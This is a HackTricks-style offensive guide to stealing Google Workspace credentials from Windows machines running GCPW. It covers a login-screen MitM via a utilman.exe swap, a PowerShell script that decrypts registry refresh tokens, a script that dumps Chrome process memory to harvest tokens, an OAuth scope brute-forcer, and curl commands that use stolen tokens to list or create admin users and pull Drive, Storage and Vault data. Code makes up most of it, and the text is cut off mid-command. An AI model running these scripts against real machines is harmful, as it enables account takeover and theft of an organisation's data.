# GCPW - Google Credential Provider for Windows

{{#include ../../../banners/hacktricks-training.md}}

## Basic Information

This is the single sign-on that Google Workspaces provides so users can login in their Windows PCs using **their Workspace credentials**. Moreover, this will store tokens to access Google Workspace in some places in the PC.

> [!TIP]
> Note that [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) is capable to detect **GCPW**, get information about the configuration and **even tokens**.

### GCPW - MitM

When a user access a Windows PC synchronized with Google Workspace via GCPW it will need to complete a common login form. This login form will return an OAuth code that the PC will exchange for the refresh token in a request like:

```http
POST /oauth2/v4/token HTTP/2
Host: www.googleapis.com
Content-Length: 311
Content-Type: application/x-www-form-urlencoded
[...headers...]

scope=https://www.google.com/accounts/OAuthLogin
&grant_type=authorization_code
&client_id=77185425430.apps.googleusercontent.com
&client_secret=OTJgUOQcT7lO7GsGZq2G4IlT
&code=4/0AVG7fiQ1NKncRzNrrGjY5S02wBWBJxV9kUNSKvB1EnJDCWyDmfZvelqKp0zx8jRGmR7LUw
&device_id=d5c82f70-71ff-48e8-94db-312e64c7354f
&device_type=chrome
```

New lines have been added to make it more readable.

> [!NOTE]
> It was possible to perform a MitM by installing `Proxifier` in the PC, overwriting the `utilman.exe` binary with a `cmd.exe` and executing the **accessibility features** in the Windows login page, which will execute a **CMD** from which you can **launch and configure the Proxifier**.\
> Don't forget to **block QUICK UDP** traffic in `Proxifier` so it downgrades to TCP communication and you can see it.
>
> Also configure in "Serviced and other users" both options and install the Burp CA cert in the Windows.

Moreover adding the keys `enable_verbose_logging = 1` and `log_file_path = C:\Public\gcpw.log` in **`HKLM:\SOFTWARE\Google\GCPW`** it's possible to make it store some logs.

### GCPW - Fingerprint

It's possible to check if GCPW is installed in a device checking if the following process exist or if the following registry keys exist:

```bash
# Check process gcpw_extension.exe
if (Get-Process -Name "gcpw_extension" -ErrorAction SilentlyContinue) {
    Write-Output "The process gcpw_xtension.exe is running."
} else {
    Write-Output "The process gcpw_xtension.exe is not running."
}

# Check if HKLM\SOFTWARE\Google\GCPW\Users exists
$gcpwHKLMPath = "HKLM:\SOFTWARE\Google\GCPW\Users"
if (Test-Path $gcpwHKLMPath) {
    Write-Output "GCPW is installed: The key $gcpwHKLMPath exists."
} else {
    Write-Output "GCPW is not installed: The key $gcpwHKLMPath does not exist."
}

# Check if HKCU\SOFTWARE\Google\Accounts exists
$gcpwHKCUPath = "HKCU:\SOFTWARE\Google\Accounts"
if (Test-Path $gcpwHKCUPath) {
    Write-Output "Google Accounts are present: The key $gcpwHKCUPath exists."
} else {
    Write-Output "No Google Accounts found: The key $gcpwHKCUPath does not exist."
}
```

In **`HKCU:\SOFTWARE\Google\Accounts`** it's possible to access the email of the user and the encrypted **refresh token** if the user recently logged in.

In **`HKLM:\SOFTWARE\Google\GCPW\Users`** it's possible to find the **domains** that are allowed to login in the key `domains_allowed` and in subkeys it's possible to find information about the user like email, pic, user name, token lifetimes, token handle...

> [!NOTE]
> The token handle is a token that starts with `eth.` and from which can be extracted some info with a request like:
>
> ```bash
> curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \
>   -d 'token_handle=eth.ALh9Bwhhy_aDaRGhv4v81xRNXdt8BDrWYrM2DBv-aZwPdt7U54gp-m_3lEXsweSyUAuN3J-9KqzbDgHBfFzYqVink340uYtWAwxsXZgqFKrRGzmXZcJNVapkUpLVsYZ_F87B5P_iUzTG-sffD4_kkd0SEwZ0hSSgKVuLT-2eCY67qVKxfGvnfmg'
> # Example response
> {
>   "audience": "77185425430.apps.googleusercontent.com",
>   "scope": "https://www.google.com/accounts/OAuthLogin",
>   "expires_in": 12880152
> }
> ```
>
> Also it's possible to find the token handle of an access token with a request like:
>
> ```bash
> curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \
>   -d 'access_token=<access token>'
> # Example response
> {
>   "issued_to": "77185425430.apps.googleusercontent.com",
>   "audience": "77185425430.apps.googleusercontent.com",
>   "scope": "https://www.google.com/accounts/OAuthLogin",
>   "expires_in": 1327,
>   "access_type": "offline",
>   "token_handle": "eth.ALh9Bwhhy_aDaRGhv4v81xRNXdt8BDrWYrM2DBv-aZwPdt7U54gp-m_3lEXsweSyUAuN3J-9KqzbDgHBfFzYqVink340uYtWAwxsXZgqFKrRGzmXZcJNVapkUpLVsYZ_F87B5P_iUzTG-sffD4_kkd0SEwZ0hSSgKVuLT-2eCY67qVKxfGvnfmg"
> }
> ```
>
> Afaik it's not possible obtain a refresh token or access token from the token handle.

Moreover, the file **`C:\ProgramData\Google\Credential Provider\Policies\<sid>\PolicyFetchResponse`** is a json containing the information of different **settings** like `enableDmEnrollment`, `enableGcpAutoUpdate`, `enableMultiUserLogin` (if several users from Workspace can login in the computer) and `validityPeriodDays` (number of days a user doesn't need to reauthenticate with Google directly).

## GCPW - Get Tokens

### GCPW - Registry Refresh Tokens

Inside the registry **`HKCU:\SOFTWARE\Google\Accounts`** it might be possible to find some accounts with the **`refresh_token`** encrypted inside. The method **`ProtectedData.Unprotect`** can easily decrypt it.

<details>

<summary>Get <strong><code>HKCU:\SOFTWARE\Google\Accounts</code></strong> data and decrypt refresh_tokens</summary>

```bash
# Import required namespace for decryption
Add-Type -AssemblyName System.Security

# Base registry path
$baseKey = "HKCU:\SOFTWARE\Google\Accounts"

# Function to search and decrypt refresh_token values
function Get-RegistryKeysAndDecryptTokens {
    param (
        [string]$keyPath
    )

    # Get all values within the current key
    $registryKey = Get-Item -Path $keyPath
    $foundToken = $false

    # Loop through properties to find refresh_token
    foreach ($property in $registryKey.Property) {
        if ($property -eq "refresh_token") {
            $foundToken = $true
            try {
                # Get the raw bytes of the refresh_token from the registry
                $encryptedTokenBytes = (Get-ItemProperty -Path $keyPath -Name $property).$property

                # Decrypt the bytes using ProtectedData.Unprotect
                $decryptedTokenBytes = [System.Security.Cryptography.ProtectedData]::Unprotect($encryptedTokenBytes, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser)
                $decryptedToken = [System.Text.Encoding]::UTF8.GetString($decryptedTokenBytes)

                Write-Output "Path: $keyPath"
                Write-Output "Decrypted refresh_token: $decryptedToken"
                Write-Output "-----------------------------"
            }
            catch {
                Write-Output "Path: $keyPath"
                Write-Output "Failed to decrypt refresh_token: $($_.Exception.Message)"
                Write-Output "-----------------------------"
            }
        }
    }

    # Recursively process all subkeys
    Get-ChildItem -Path $keyPath | ForEach-Object {
        Get-RegistryKeysAndDecryptTokens -keyPath $_.PSPath
    }
}

# Start the search from the base key
Get-RegistryKeysAndDecryptTokens -keyPath $baseKey
```

</details>

Example out:

```
Path: Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\SOFTWARE\Google\Accounts\100402336966965820570Decrypted refresh_token: 1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI
```

As explained in [**this video**](https://www.youtube.com/watch?v=FEQxHRRP_5I), if you don't find the token in the registry it's possible to modify the value (or delete) from **`HKLM:\SOFTWARE\Google\GCPW\Users\<sid>\th`** and the next time the user access the computer he will need to login again and the **token will be stored in the previous registry**.

### GCPW - Disk Refresh Tokens

The file **`%LocalAppData%\Google\Chrome\User Data\Local State`** stores the key to decrypt the **`refresh_tokens`** located inside the **Google Chrome profiles** of the user like:

- `%LocalAppData%\Google\Chrome\User Data\Default\Web Data`
- `%LocalAppData%\Google\Chrome\Profile*\Default\Web Data`

It's possible to find some **C# code** accessing these tokens in their decrypted manner in [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe).

Moreover, the encrypting can be found in this code: [https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216)

It can be observed that AESGCM is used, the encrypted token starts with a **version** (**`v10`** at this time), then it [**has 12B of nonce**](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L42), and then it has the **cypher-text** with a final **mac of 16B**.

### GCPW - Dumping tokens from processes memory

The following script can be used to **dump** every **Chrome** process using `procdump`, extract the **strings** and then **search** for strings related to **access and refresh tokens**. If Chrome is connected to some Google site, some **process will be storing refresh and/or access tokens in memory!**

<details>

<summary>Dump Chrome processes and search tokens</summary>

```bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
$dumpFolder = "C:\Users\Public\dumps"

# Regular expressions for tokens
$tokenRegexes = @(
    "ya29\.[a-zA-Z0-9_\.\-]{50,}",
    "1//[a-zA-Z0-9_\.\-]{50,}"
)

# Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) {
    New-Item -Path $dumpFolder -ItemType Directory
}

# Get all Chrome process IDs
$chromeProcesses = Get-Process -Name "chrome" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id

# Dump each Chrome process
foreach ($processId in $chromeProcesses) {
    Write-Output "Dumping process with PID: $processId"
    & $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
}

# Extract strings and search for tokens in each dump
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
    $dumpFile = $_.FullName
    $baseName = $_.BaseName
    $asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
    $unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"

    Write-Output "Extracting strings from $dumpFile"
    & $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
    & $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile

    $outputFiles = @($asciiStringsFile, $unicodeStringsFile)

    foreach ($file in $outputFiles) {
        foreach ($regex in $tokenRegexes) {

            $matches = Select-String -Path $file -Pattern $regex -AllMatches

            $uniqueMatches = @{}

            foreach ($matchInfo in $matches) {
                foreach ($match in $matchInfo.Matches) {
                    $matchValue = $match.Value
                    if (-not $uniqueMatches.ContainsKey($matchValue)) {
                        $uniqueMatches[$matchValue] = @{
                            LineNumber = $matchInfo.LineNumber
                            LineText   = $matchInfo.Line.Trim()
                            FilePath   = $matchInfo.Path
                        }
                    }
                }
            }

            foreach ($matchValue in $uniqueMatches.Keys) {
                $info = $uniqueMatches[$matchValue]
                Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
            }
        }

        Write-Output ""
    }
}

Remove-Item -Path $dumpFolder -Recurse -Force
```

</details>

I tried the same with `gcpw_extension.exe` but it didn't find any token.

For some reason, s**ome extracted access tokens won't be valid (although some will be)**. I tried the following script to remove chars 1 by 1 to try to get the valid token from the dump. It never helped me to find a valid one, but it might I guess:

<details>

<summary>Check access token by removing chars 1 by 1</summary>

```bash
#!/bin/bash

# Define the initial access token
access_token="ya29.a0AcM612wWX6Pe3Pc6ApZYknGs5n66W1Hr1CQvF_L_pIm3uZaXWisWFabzxheYCHErRn28l2UOJuAbMzfn1TUpSKqvYvlhXJpxQsKEtwhYXzN2BZdOQNji0EXfF7po1_0WaxhwqOiE0CFQciiL8uAmkRsoXhq9ekC_S8xLrODZ2yKdDR6gSFULWaiIG-bOCFx3DkbOdbjAk-U4aN1WbglUAJdLZh7DMzSucIIZwKWvBxqqajSAjrdW0mRNVN2IfkcVLPndwj7fQJV2bQaCgYKAbQSAQ4SFQHGX2MiPuU1D-9-YHVzaFlUo_RwXA0277"

# Define the URL for the request
url="https://www.googleapis.com/oauth2/v1/tokeninfo"

# Loop until the token is 20 characters or the response doesn't contain "error_description"
while [ ${#access_token} -gt 20 ]; do
    # Make the request and capture the response
    response=$(curl -s -H "Content-Type: application/x-www-form-urlencoded" -d "access_token=$access_token" $url)

    # Check if the response contains "error_description"
    if [[ ! "$response" =~ "error_description" ]]; then
        echo "Success: Token is valid"
        echo "Final token: $access_token"
        echo "Response: $response"
        exit 0
    fi

    # Remove the last character from the token
    access_token=${access_token:0:-1}

    echo "Token length: ${#access_token}"
done

echo "Error: Token invalid or too short"
```

</details>

### GCPW - Generating access tokens from refresh tokens

Using the refresh token it's possible to generate access tokens using it and the client ID and client secret specified in the following command:

```bash
curl -s --data "client_id=77185425430.apps.googleusercontent.com" \
     --data "client_secret=OTJgUOQcT7lO7GsGZq2G4IlT" \
     --data "grant_type=refresh_token" \
     --data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
     https://www.googleapis.com/oauth2/v4/token
```

### GCPW - Scopes

> [!NOTE]
> Note that even having a refresh token, it's not possible to request any scope for the access token as you can only requests the **scopes supported by the application where you are generating the access token**.
>
> Also, the refresh token is not valid in every application.

By default GCPW won't have access as the user to every possible OAuth scope, so using the following script we can find the scopes that can be used with the `refresh_token` to generate an `access_token`:

<details>

<summary>Bash script to brute-force scopes</summary>

```bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
    echo -ne "Testing $scope           \r"
    if ! curl -s --data "client_id=77185425430.apps.googleusercontent.com" \
     --data "client_secret=OTJgUOQcT7lO7GsGZq2G4IlT" \
     --data "grant_type=refresh_token" \
     --data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
     --data "scope=$scope" \
     https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then
        echo ""
        echo $scope
        echo $scope >> /tmp/valid_scopes.txt
    fi
done

echo ""
echo ""
echo "Valid scopes:"
cat /tmp/valid_scopes.txt
rm /tmp/valid_scopes.txt
```

</details>

And this is the output I got at the time of the writing:

<details>

<summary>Brute-forced scopes</summary>

```
https://www.googleapis.com/auth/admin.directory.user
https://www.googleapis.com/auth/calendar
https://www.googleapis.com/auth/calendar.events
https://www.googleapis.com/auth/calendar.events.readonly
https://www.googleapis.com/auth/calendar.readonly
https://www.googleapis.com/auth/classroom.courses.readonly
https://www.googleapis.com/auth/classroom.coursework.me.readonly
https://www.googleapis.com/auth/classroom.coursework.students.readonly
https://www.googleapis.com/auth/classroom.profile.emails
https://www.googleapis.com/auth/classroom.profile.photos
https://www.googleapis.com/auth/classroom.rosters.readonly
https://www.googleapis.com/auth/classroom.student-submissions.me.readonly
https://www.googleapis.com/auth/classroom.student-submissions.students.readonly
https://www.googleapis.com/auth/cloud-translation
https://www.googleapis.com/auth/cloud_search.query
https://www.googleapis.com/auth/devstorage.read_write
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/drive.apps.readonly
https://www.googleapis.com/auth/drive.file
https://www.googleapis.com/auth/drive.readonly
https://www.googleapis.com/auth/ediscovery
https://www.googleapis.com/auth/firebase.messaging
https://www.googleapis.com/auth/spreadsheets
https://www.googleapis.com/auth/tasks
https://www.googleapis.com/auth/tasks.readonly
https://www.googleapis.com/auth/userinfo.email
https://www.googleapis.com/auth/userinfo.profile
```

</details>

Moreover, checking the Chromium source code it's possible to [**find this file**](https://github.com/chromium/chromium/blob/5301790cd7ef97088d4862465822da4cb2d95591/google_apis/gaia/gaia_constants.cc#L24), which contains **other scopes** that can be assumed that **doesn't appear in the previously brute-forced lis**t. Therefore, these extra scopes can be assumed:

<details>

<summary>Extra scopes</summary>

```
https://www.google.com/accounts/OAuthLogin
https://www.googleapis.com/auth/account.capabilities
https://www.googleapis.com/auth/accounts.programmaticchallenge
https://www.googleapis.com/auth/accounts.reauth
https://www.googleapis.com/auth/admin.directory.user
https://www.googleapis.com/auth/aida
https://www.googleapis.com/auth/aidahttps://www.googleapis.com/auth/kid.management.privileged
https://www.googleapis.com/auth/android_checkin
https://www.googleapis.com/auth/any-api
https://www.googleapis.com/auth/assistant-sdk-prototype
https://www.googleapis.com/auth/auditrecording-pa
https://www.googleapis.com/auth/bce.secureconnect
https://www.googleapis.com/auth/calendar
https://www.googleapis.com/auth/calendar.events
https://www.googleapis.com/auth/calendar.events.readonly
https://www.googleapis.com/auth/calendar.readonly
https://www.googleapis.com/auth/cast.backdrop
https://www.googleapis.com/auth/cclog
https://www.googleapis.com/auth/chrome-model-execution
https://www.googleapis.com/auth/chrome-optimization-guide
https://www.googleapis.com/auth/chrome-safe-browsing
https://www.googleapis.com/auth/chromekanonymity
https://www.googleapis.com/auth/chromeosdevicemanagement
https://www.googleapis.com/auth/chromesync
https://www.googleapis.com/auth/chromewebstore.readonly
https://www.googleapis.com/auth/classroom.courses.readonly
https://www.googleapis.com/auth/classroom.coursework.me.readonly
https://www.googleapis.com/auth/classroom.coursework.students.readonly
https://www.googleapis.com/auth/classroom.profile.emails
https://www.googleapis.com/auth/classroom.profile.photos
https://www.googleapis.com/auth/classroom.rosters.readonly
https://www.googleapis.com/auth/classroom.student-submissions.me.readonly
https://www.googleapis.com/auth/classroom.student-submissions.students.readonly
https://www.googleapis.com/auth/cloud-translation
https://www.googleapis.com/auth/cloud_search.query
https://www.googleapis.com/auth/cryptauth
https://www.googleapis.com/auth/devstorage.read_write
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/drive.apps.readonly
https://www.googleapis.com/auth/drive.file
https://www.googleapis.com/auth/drive.readonly
https://www.googleapis.com/auth/ediscovery
https://www.googleapis.com/auth/experimentsandconfigs
https://www.googleapis.com/auth/firebase.messaging
https://www.googleapis.com/auth/gcm
https://www.googleapis.com/auth/googlenow
https://www.googleapis.com/auth/googletalk
https://www.googleapis.com/auth/identity.passwords.leak.check
https://www.googleapis.com/auth/ip-protection
https://www.googleapis.com/auth/kid.family.readonly
https://www.googleapis.com/auth/kid.management.privileged
https://www.googleapis.com/auth/kid.permission
https://www.googleapis.com/auth/kids.parentapproval
https://www.googleapis.com/auth/kids.supervision.setup.child
https://www.googleapis.com/auth/lens
https://www.googleapis.com/auth/music
https://www.googleapis.com/auth/nearbydevices-pa
https://www.googleapis.com/auth/nearbypresence-pa
https://www.googleapis.com/auth/nearbysharing-pa
https://www.googleapis.com/auth/peopleapi.readonly
https://www.googleapis.com/auth/peopleapi.readwrite
https://www.googleapis.com/auth/photos
https://www.googleapis.com/auth/photos.firstparty.readonly
https://www.googleapis.com/auth/photos.image.readonly
https://www.googleapis.com/auth/profile.language.read
https://www.googleapis.com/auth/secureidentity.action
https://www.googleapis.com/auth/spreadsheets
https://www.googleapis.com/auth/supportcontent
https://www.googleapis.com/auth/tachyon
https://www.googleapis.com/auth/tasks
https://www.googleapis.com/auth/tasks.readonly
https://www.googleapis.com/auth/userinfo.email
https://www.googleapis.com/auth/userinfo.profile
https://www.googleapis.com/auth/wallet.chrome
```

</details>

Note that the most interesting one is possibly:

```c
// OAuth2 scope for access to all Google APIs.
const char kAnyApiOAuth2Scope[] = "https://www.googleapis.com/auth/any-api";
```

However, I tried to use this scope to access gmail or list groups and it didn't work, so I don't know how useful it still is.

**Get an access token with all those scopes**:

<details>

<summary>Bash script to generate access token from refresh_token with all the scopes</summary>

```bash
export scope=$(echo "https://www.googleapis.com/auth/admin.directory.user
https://www.googleapis.com/auth/calendar
https://www.googleapis.com/auth/calendar.events
https://www.googleapis.com/auth/calendar.events.readonly
https://www.googleapis.com/auth/calendar.readonly
https://www.googleapis.com/auth/classroom.courses.readonly
https://www.googleapis.com/auth/classroom.coursework.me.readonly
https://www.googleapis.com/auth/classroom.coursework.students.readonly
https://www.googleapis.com/auth/classroom.profile.emails
https://www.googleapis.com/auth/classroom.profile.photos
https://www.googleapis.com/auth/classroom.rosters.readonly
https://www.googleapis.com/auth/classroom.student-submissions.me.readonly
https://www.googleapis.com/auth/classroom.student-submissions.students.readonly
https://www.googleapis.com/auth/cloud-translation
https://www.googleapis.com/auth/cloud_search.query
https://www.googleapis.com/auth/devstorage.read_write
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/drive.apps.readonly
https://www.googleapis.com/auth/drive.file
https://www.googleapis.com/auth/drive.readonly
https://www.googleapis.com/auth/ediscovery
https://www.googleapis.com/auth/firebase.messaging
https://www.googleapis.com/auth/spreadsheets
https://www.googleapis.com/auth/tasks
https://www.googleapis.com/auth/tasks.readonly
https://www.googleapis.com/auth/userinfo.email
https://www.googleapis.com/auth/userinfo.profile
https://www.google.com/accounts/OAuthLogin
https://www.googleapis.com/auth/account.capabilities
https://www.googleapis.com/auth/accounts.programmaticchallenge
https://www.googleapis.com/auth/accounts.reauth
https://www.googleapis.com/auth/admin.directory.user
https://www.googleapis.com/auth/aida
https://www.googleapis.com/auth/kid.management.privileged
https://www.googleapis.com/auth/android_checkin
https://www.googleapis.com/auth/any-api
https://www.googleapis.com/auth/assistant-sdk-prototype
https://www.googleapis.com/auth/auditrecording-pa
https://www.googleapis.com/auth/bce.secureconnect
https://www.googleapis.com/auth/calendar
https://www.googleapis.com/auth/calendar.events
https://www.googleapis.com/auth/calendar.events.readonly
https://www.googleapis.com/auth/calendar.readonly
https://www.googleapis.com/auth/cast.backdrop
https://www.googleapis.com/auth/cclog
https://www.googleapis.com/auth/chrome-model-execution
https://www.googleapis.com/auth/chrome-optimization-guide
https://www.googleapis.com/auth/chrome-safe-browsing
https://www.googleapis.com/auth/chromekanonymity
https://www.googleapis.com/auth/chromeosdevicemanagement
https://www.googleapis.com/auth/chromesync
https://www.googleapis.com/auth/chromewebstore.readonly
https://www.googleapis.com/auth/classroom.courses.readonly
https://www.googleapis.com/auth/classroom.coursework.me.readonly
https://www.googleapis.com/auth/classroom.coursework.students.readonly
https://www.googleapis.com/auth/classroom.profile.emails
https://www.googleapis.com/auth/classroom.profile.photos
https://www.googleapis.com/auth/classroom.rosters.readonly
https://www.googleapis.com/auth/classroom.student-submissions.me.readonly
https://www.googleapis.com/auth/classroom.student-submissions.students.readonly
https://www.googleapis.com/auth/cloud-translation
https://www.googleapis.com/auth/cloud_search.query
https://www.googleapis.com/auth/cryptauth
https://www.googleapis.com/auth/devstorage.read_write
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/drive.apps.readonly
https://www.googleapis.com/auth/drive.file
https://www.googleapis.com/auth/drive.readonly
https://www.googleapis.com/auth/ediscovery
https://www.googleapis.com/auth/experimentsandconfigs
https://www.googleapis.com/auth/firebase.messaging
https://www.googleapis.com/auth/gcm
https://www.googleapis.com/auth/googlenow
https://www.googleapis.com/auth/googletalk
https://www.googleapis.com/auth/identity.passwords.leak.check
https://www.googleapis.com/auth/ip-protection
https://www.googleapis.com/auth/kid.family.readonly
https://www.googleapis.com/auth/kid.management.privileged
https://www.googleapis.com/auth/kid.permission
https://www.googleapis.com/auth/kids.parentapproval
https://www.googleapis.com/auth/kids.supervision.setup.child
https://www.googleapis.com/auth/lens
https://www.googleapis.com/auth/music
https://www.googleapis.com/auth/nearbydevices-pa
https://www.googleapis.com/auth/nearbypresence-pa
https://www.googleapis.com/auth/nearbysharing-pa
https://www.googleapis.com/auth/peopleapi.readonly
https://www.googleapis.com/auth/peopleapi.readwrite
https://www.googleapis.com/auth/photos
https://www.googleapis.com/auth/photos.firstparty.readonly
https://www.googleapis.com/auth/photos.image.readonly
https://www.googleapis.com/auth/profile.language.read
https://www.googleapis.com/auth/secureidentity.action
https://www.googleapis.com/auth/spreadsheets
https://www.googleapis.com/auth/supportcontent
https://www.googleapis.com/auth/tachyon
https://www.googleapis.com/auth/tasks
https://www.googleapis.com/auth/tasks.readonly
https://www.googleapis.com/auth/userinfo.email
https://www.googleapis.com/auth/userinfo.profile
https://www.googleapis.com/auth/wallet.chrome" | tr '\n' ' ')

curl -s --data "client_id=77185425430.apps.googleusercontent.com" \
     --data "client_secret=OTJgUOQcT7lO7GsGZq2G4IlT" \
     --data "grant_type=refresh_token" \
     --data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
     --data "scope=$scope" \
     https://www.googleapis.com/oauth2/v4/token
```

</details>

Some examples using some of those scopes:

<details>

<summary>https://www.googleapis.com/auth/userinfo.email & https://www.googleapis.com/auth/userinfo.profile</summary>

```bash
curl -X GET \
  -H "Authorization: Bearer $access_token" \
  "https://www.googleapis.com/oauth2/v2/userinfo"

{
  "id": "100203736939176354570",
  "email": "hacktricks@example.com",
  "verified_email": true,
  "name": "John Smith",
  "given_name": "John",
  "family_name": "Smith",
  "picture": "https://lh3.googleusercontent.com/a/ACg8ocKLvue[REDACTED]wcnzhyKH_p96Gww=s96-c",
  "locale": "en",
  "hd": "example.com"
}
```

</details>

<details>

<summary>https://www.googleapis.com/auth/admin.directory.user</summary>

```bash
# List users
curl -X GET \
  -H "Authorization: Bearer $access_token" \
  "https://www.googleapis.com/admin/directory/v1/users?customer=<workspace_id>&maxResults=100&orderBy=email"

# Create user
curl -X POST \
  -H "Authorization: Bearer $access_token" \
  -H "Content-Type: application/json" \
  -d '{
        "primaryEmail": "newuser@hdomain.com",
        "name": {
          "givenName": "New",
          "familyName": "User"
        },
        "password": "UserPassword123",
        "changePasswordAtNextLogin": true
      }' \
  "https://www.googleapis.com/admin/directory/v1/users"
```

</details>

<details>

<summary>https://www.googleapis.com/auth/drive</summary>

```bash
# List files
curl -X GET \
  -H "Authorization: Bearer $access_token" \
  "https://www.googleapis.com/drive/v3/files?pageSize=10&fields=files(id,name,modifiedTime)&orderBy=name"
{
  "files": [
    {
      "id": "1Z8m5ALSiHtewoQg1LB8uS9gAIeNOPBrq",
      "name": "Veeam new vendor form 1 2024.docx",
      "modifiedTime": "2024-08-30T09:25:35.219Z"
    }
  ]
}

# Download file
curl -X GET \
  -H "Authorization: Bearer $access_token" \
  "https://www.googleapis.com/drive/v3/files/<file-id>?alt=media" \
  -o "DownloadedFileName.ext"

# Upload file
curl -X POST \
  -H "Authorization: Bearer $access_token" \
  -H "Content-Type: application/octet-stream" \
  --data-binary @path/to/file.ext \
  "https://www.googleapis.com/upload/drive/v3/files?uploadType=media"
```

</details>

<details>

<summary>https://www.googleapis.com/auth/devstorage.read_write</summary>

```bash
# List buckets from a project
curl -X GET \
  -H "Authorization: Bearer $access_token" \
  "https://www.googleapis.com/storage/v1/b?project=<project-id>"

# List objects in a bucket
curl -X GET \
  -H "Authorization: Bearer $access_token" \
  "https://www.googleapis.com/storage/v1/b/<bucket-name>/o?maxResults=10&fields=items(id,name,size,updated)&orderBy=name"

# Upload file to bucket
curl -X POST \
  -H "Authorization: Bearer $access_token" \
  -H "Content-Type: application/octet-stream" \
  --data-binary @path/to/yourfile.ext \
  "https://www.googleapis.com/upload/storage/v1/b/<BUCKET_NAME>/o?uploadType=media&name=<OBJECT_NAME>"

# Download file from bucket
curl -X GET \
  -H "Authorization: Bearer $access_token" \
  "https://www.googleapis.com/storage/v1/b/BUCKET_NAME/o/OBJECT_NAME?alt=media" \
  -o "DownloadedFileName.ext"
```

</details>

<details>

<summary>https://www.googleapis.com/auth/spreadsheets</summary>

```bash
# List spreadsheets
curl -X GET \
  -H "Authorization: Bearer $access_token" \
  "https://www.googleapis.com/drive/v3/files?q=mimeType='application/vnd.google-apps.spreadsheet'&fields=files(id,name,modifiedTime)&pageSize=100"

# Download as pdf
curl -X GET \
  -H "Authorization: Bearer $access_token" \
  "https://www.googleapis.com/drive/v3/files/106VJxeyIsVTkixutwJM1IiJZ0ZQRMiA5mhfe8C5CxMc/export?mimeType=application/pdf" \
  -o "Spreadsheet.pdf"

# Create spreadsheet
curl -X POST \
  -H "Authorization: Bearer $access_token" \
  -H "Content-Type: application/json" \
  -d '{
        "properties": {
          "title": "New Spreadsheet"
        }
      }' \
  "https://sheets.googleapis.com/v4/spreadsheets"

# Read data from a spreadsheet
curl -X GET \
  -H "Authorization: Bearer $access_token" \
  "https://sheets.googleapis.com/v4/spreadsheets/<SPREADSHEET_ID>/values/Sheet1!A1:C10"

# Update data in spreadsheet
curl -X PUT \
  -H "Authorization: Bearer $access_token" \
  -H "Content-Type: application/json" \
  -d '{
        "range": "Sheet1!A2:C2",
        "majorDimension": "ROWS",
        "values": [
          ["Alice Johnson", "28", "alice.johnson@example.com"]
        ]
      }' \
  "https://sheets.googleapis.com/v4/spreadsheets/<SPREADSHEET_ID>/values/Sheet1!A2:C2?valueInputOption=USER_ENTERED"

# Append data
curl -X POST \
  -H "Authorization: Bearer $access_token" \
  -H "Content-Type: application/json" \
  -d '{
        "values": [
          ["Bob Williams", "35", "bob.williams@example.com"]
        ]
      }' \
  "https://sheets.googleapis.com/v4/spreadsheets/SPREADSHEET_ID/values/Sheet1!A:C:append?valueInputOption=USER_ENTERED"
```

</details>

<details>

<summary>https://www.googleapis.com/auth/ediscovery (Google Vault)</summary>

**Google Workspace Vault** is an add-on for Google Workspace that provides tools for data retention, search, and export for your organization's data stored in Google Workspace services like Gmail, Drive, Chat, and more.

- A **Matter** in Google Workspace Vault is a **container** that organizes and groups together all the information related to a specific case, investigation, or legal matter. It serves as the central hub for managing **Holds**, **Searches**, and **Exports** pertaining to that particular issue.
- A **Hold** in Google Workspace Vault is a **preservation action** applied to specific users or groups to **prevent the deletion or alteration** of their data within Google Workspace services. Holds ensure that relevant information remains intact and unmodified for the duration of a legal case or investigation.

```bash
# List matters
curl -X GET \
  -H "Authorization: Bearer $access_token" \
  "https://vault.googleapis.com/v1/matters?pageSize=10"

# Create matter
curl -X POST \
  -H "Authorization: Bearer $access_token" \
